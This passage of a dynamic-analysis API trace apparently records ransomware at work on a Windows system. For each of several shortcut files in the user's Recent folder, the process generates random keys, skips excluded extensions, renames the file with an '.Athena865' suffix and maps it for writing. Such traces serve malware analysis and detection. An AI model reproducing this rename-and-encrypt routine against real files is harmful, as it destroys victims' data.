phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.862] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.862] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.863] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x154 [0052.863] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0052.863] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.864] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.864] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.865] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Roaming.lnk" | out: lpString1="Roaming.lnk") returned="Roaming.lnk" [0052.866] lstrlenW (lpString="Roaming.lnk") returned 11 [0052.866] lstrlenW (lpString="Athena865") returned 9 [0052.866] lstrcmpiW (lpString1="aming.lnk", lpString2="Athena865") returned -1 [0052.866] lstrlenW (lpString=".dll") returned 4 [0052.866] lstrcmpiW (lpString1="Roaming.lnk", lpString2=".dll") returned 1 [0052.866] lstrlenW (lpString=".lnk") returned 4 [0052.866] lstrcmpiW (lpString1="Roaming.lnk", lpString2=".lnk") returned 1 [0052.866] lstrlenW (lpString=".ini") returned 4 [0052.866] lstrcmpiW (lpString1="Roaming.lnk", lpString2=".ini") returned 1 [0052.866] lstrlenW (lpString=".sys") returned 4 [0052.866] lstrcmpiW (lpString1="Roaming.lnk", lpString2=".sys") returned 1 [0052.866] lstrlenW (lpString="Roaming.lnk") returned 11 [0052.866] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Roaming.lnk.Athena865") returned 75 [0052.866] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Roaming.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\roaming.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Roaming.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\roaming.lnk.athena865"), dwFlags=0x1) returned 1 [0052.867] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Roaming.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\roaming.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.867] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=771) returned 1 [0052.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.867] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.868] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.868] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.868] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x610, lpName=0x0) returned 0x154 [0052.868] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x610) returned 0x100000 [0052.869] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.869] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.869] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.871] lstrcpyW (in: lpString1=0x241e8b4, lpString2="RU-S3sUrMUmc4X.lnk" | out: lpString1="RU-S3sUrMUmc4X.lnk") returned="RU-S3sUrMUmc4X.lnk" [0052.871] lstrlenW (lpString="RU-S3sUrMUmc4X.lnk") returned 18 [0052.871] lstrlenW (lpString="Athena865") returned 9 [0052.871] lstrcmpiW (lpString1="Umc4X.lnk", lpString2="Athena865") returned 1 [0052.871] lstrlenW (lpString=".dll") returned 4 [0052.871] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.lnk", lpString2=".dll") returned 1 [0052.871] lstrlenW (lpString=".lnk") returned 4 [0052.871] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.lnk", lpString2=".lnk") returned 1 [0052.871] lstrlenW (lpString=".ini") returned 4 [0052.871] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.lnk", lpString2=".ini") returned 1 [0052.871] lstrlenW (lpString=".sys") returned 4 [0052.871] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.lnk", lpString2=".sys") returned 1 [0052.871] lstrlenW (lpString="RU-S3sUrMUmc4X.lnk") returned 18 [0052.871] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\RU-S3sUrMUmc4X.lnk.Athena865") returned 82 [0052.871] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\RU-S3sUrMUmc4X.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ru-s3surmumc4x.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\RU-S3sUrMUmc4X.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ru-s3surmumc4x.lnk.athena865"), dwFlags=0x1) returned 1 [0052.872] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\RU-S3sUrMUmc4X.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ru-s3surmumc4x.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.872] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=599) returned 1 [0052.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.873] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.873] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.873] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.873] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x560, lpName=0x0) returned 0x154 [0052.874] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x560) returned 0x100000 [0052.874] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.874] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.875] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.876] lstrcpyW (in: lpString1=0x241e8b4, lpString2="s6Bdxi1.lnk" | out: lpString1="s6Bdxi1.lnk") returned="s6Bdxi1.lnk" [0052.876] lstrlenW (lpString="s6Bdxi1.lnk") returned 11 [0052.876] lstrlenW (lpString="Athena865") returned 9 [0052.876] lstrcmpiW (lpString1="Bdxi1.lnk", lpString2="Athena865") returned 1 [0052.876] lstrlenW (lpString=".dll") returned 4 [0052.876] lstrcmpiW (lpString1="s6Bdxi1.lnk", lpString2=".dll") returned 1 [0052.876] lstrlenW (lpString=".lnk") returned 4 [0052.876] lstrcmpiW (lpString1="s6Bdxi1.lnk", lpString2=".lnk") returned 1 [0052.876] lstrlenW (lpString=".ini") returned 4 [0052.876] lstrcmpiW (lpString1="s6Bdxi1.lnk", lpString2=".ini") returned 1 [0052.876] lstrlenW (lpString=".sys") returned 4 [0052.876] lstrcmpiW (lpString1="s6Bdxi1.lnk", lpString2=".sys") returned 1 [0052.876] lstrlenW (lpString="s6Bdxi1.lnk") returned 11 [0052.876] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\s6Bdxi1.lnk.Athena865") returned 75 [0052.876] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\s6Bdxi1.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\s6bdxi1.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\s6Bdxi1.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\s6bdxi1.lnk.athena865"), dwFlags=0x1) returned 1 [0052.877] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\s6Bdxi1.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\s6bdxi1.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.877] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=562) returned 1 [0052.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.878] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.878] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.878] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.879] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x540, lpName=0x0) returned 0x154 [0052.879] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x540) returned 0x100000 [0052.879] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.880] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.880] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.882] lstrcpyW (in: lpString1=0x241e8b4, lpString2="s9cQ52xVIt0iT_.lnk" | out: lpString1="s9cQ52xVIt0iT_.lnk") returned="s9cQ52xVIt0iT_.lnk" [0052.882] lstrlenW (lpString="s9cQ52xVIt0iT_.lnk") returned 18 [0052.882] lstrlenW (lpString="Athena865") returned 9 [0052.882] lstrcmpiW (lpString1="t0iT_.lnk", lpString2="Athena865") returned 1 [0052.882] lstrlenW (lpString=".dll") returned 4 [0052.882] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.lnk", lpString2=".dll") returned 1 [0052.882] lstrlenW (lpString=".lnk") returned 4 [0052.882] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.lnk", lpString2=".lnk") returned 1 [0052.882] lstrlenW (lpString=".ini") returned 4 [0052.882] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.lnk", lpString2=".ini") returned 1 [0052.882] lstrlenW (lpString=".sys") returned 4 [0052.882] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.lnk", lpString2=".sys") returned 1 [0052.882] lstrlenW (lpString="s9cQ52xVIt0iT_.lnk") returned 18 [0052.882] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\s9cQ52xVIt0iT_.lnk.Athena865") returned 82 [0052.882] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\s9cQ52xVIt0iT_.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\s9cq52xvit0it_.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\s9cQ52xVIt0iT_.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\s9cq52xvit0it_.lnk.athena865"), dwFlags=0x1) returned 1 [0052.883] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\s9cQ52xVIt0iT_.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\s9cq52xvit0it_.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.883] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2631) returned 1 [0052.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.883] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.884] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.884] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.884] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd50, lpName=0x0) returned 0x154 [0052.885] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd50) returned 0x100000 [0052.885] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.885] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.885] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.887] lstrcpyW (in: lpString1=0x241e8b4, lpString2="sheawXy7l.lnk" | out: lpString1="sheawXy7l.lnk") returned="sheawXy7l.lnk" [0052.887] lstrlenW (lpString="sheawXy7l.lnk") returned 13 [0052.887] lstrlenW (lpString="Athena865") returned 9 [0052.887] lstrcmpiW (lpString1="wXy7l.lnk", lpString2="Athena865") returned 1 [0052.887] lstrlenW (lpString=".dll") returned 4 [0052.887] lstrcmpiW (lpString1="sheawXy7l.lnk", lpString2=".dll") returned 1 [0052.887] lstrlenW (lpString=".lnk") returned 4 [0052.887] lstrcmpiW (lpString1="sheawXy7l.lnk", lpString2=".lnk") returned 1 [0052.887] lstrlenW (lpString=".ini") returned 4 [0052.887] lstrcmpiW (lpString1="sheawXy7l.lnk", lpString2=".ini") returned 1 [0052.887] lstrlenW (lpString=".sys") returned 4 [0052.887] lstrcmpiW (lpString1="sheawXy7l.lnk", lpString2=".sys") returned 1 [0052.887] lstrlenW (lpString="sheawXy7l.lnk") returned 13 [0052.887] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\sheawXy7l.lnk.Athena865") returned 77 [0052.887] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\sheawXy7l.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\sheawxy7l.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\sheawXy7l.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\sheawxy7l.lnk.athena865"), dwFlags=0x1) returned 1 [0052.890] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\sheawXy7l.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\sheawxy7l.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.891] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2593) returned 1 [0052.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.892] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.892] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.892] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.893] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd30, lpName=0x0) returned 0x154 [0052.893] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd30) returned 0x100000 [0052.893] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.893] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.893] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.895] lstrcpyW (in: lpString1=0x241e8b4, lpString2="srrMQLq3s.lnk" | out: lpString1="srrMQLq3s.lnk") returned="srrMQLq3s.lnk" [0052.895] lstrlenW (lpString="srrMQLq3s.lnk") returned 13 [0052.895] lstrlenW (lpString="Athena865") returned 9 [0052.895] lstrcmpiW (lpString1="QLq3s.lnk", lpString2="Athena865") returned 1 [0052.895] lstrlenW (lpString=".dll") returned 4 [0052.895] lstrcmpiW (lpString1="srrMQLq3s.lnk", lpString2=".dll") returned 1 [0052.895] lstrlenW (lpString=".lnk") returned 4 [0052.895] lstrcmpiW (lpString1="srrMQLq3s.lnk", lpString2=".lnk") returned 1 [0052.895] lstrlenW (lpString=".ini") returned 4 [0052.895] lstrcmpiW (lpString1="srrMQLq3s.lnk", lpString2=".ini") returned 1 [0052.895] lstrlenW (lpString=".sys") returned 4 [0052.895] lstrcmpiW (lpString1="srrMQLq3s.lnk", lpString2=".sys") returned 1 [0052.895] lstrlenW (lpString="srrMQLq3s.lnk") returned 13 [0052.895] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\srrMQLq3s.lnk.Athena865") returned 77 [0052.895] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\srrMQLq3s.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\srrmqlq3s.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\srrMQLq3s.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\srrmqlq3s.lnk.athena865"), dwFlags=0x1) returned 1 [0052.896] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\srrMQLq3s.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\srrmqlq3s.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.896] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5201) returned 1 [0052.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.897] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.897] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.897] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.897] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1760, lpName=0x0) returned 0x154 [0052.898] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1760) returned 0x100000 [0052.898] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.899] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.899] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.900] lstrcpyW (in: lpString1=0x241e8b4, lpString2="suDg l.lnk" | out: lpString1="suDg l.lnk") returned="suDg l.lnk" [0052.900] lstrlenW (lpString="suDg l.lnk") returned 10 [0052.900] lstrlenW (lpString="Athena865") returned 9 [0052.900] lstrcmpiW (lpString1="uDg l.lnk", lpString2="Athena865") returned 1 [0052.900] lstrlenW (lpString=".dll") returned 4 [0052.900] lstrcmpiW (lpString1="suDg l.lnk", lpString2=".dll") returned 1 [0052.900] lstrlenW (lpString=".lnk") returned 4 [0052.900] lstrcmpiW (lpString1="suDg l.lnk", lpString2=".lnk") returned 1 [0052.900] lstrlenW (lpString=".ini") returned 4 [0052.900] lstrcmpiW (lpString1="suDg l.lnk", lpString2=".ini") returned 1 [0052.900] lstrlenW (lpString=".sys") returned 4 [0052.900] lstrcmpiW (lpString1="suDg l.lnk", lpString2=".sys") returned 1 [0052.900] lstrlenW (lpString="suDg l.lnk") returned 10 [0052.900] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\suDg l.lnk.Athena865") returned 74 [0052.901] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\suDg l.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\sudg l.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\suDg l.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\sudg l.lnk.athena865"), dwFlags=0x1) returned 1 [0052.901] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\suDg l.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\sudg l.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.902] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2539) returned 1 [0052.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.902] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.903] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.903] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.903] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcf0, lpName=0x0) returned 0x154 [0052.903] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcf0) returned 0x100000 [0052.903] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.904] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.904] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.905] lstrcpyW (in: lpString1=0x241e8b4, lpString2="SvkMB2Z.lnk" | out: lpString1="SvkMB2Z.lnk") returned="SvkMB2Z.lnk" [0052.905] lstrlenW (lpString="SvkMB2Z.lnk") returned 11 [0052.905] lstrlenW (lpString="Athena865") returned 9 [0052.905] lstrcmpiW (lpString1="kMB2Z.lnk", lpString2="Athena865") returned 1 [0052.906] 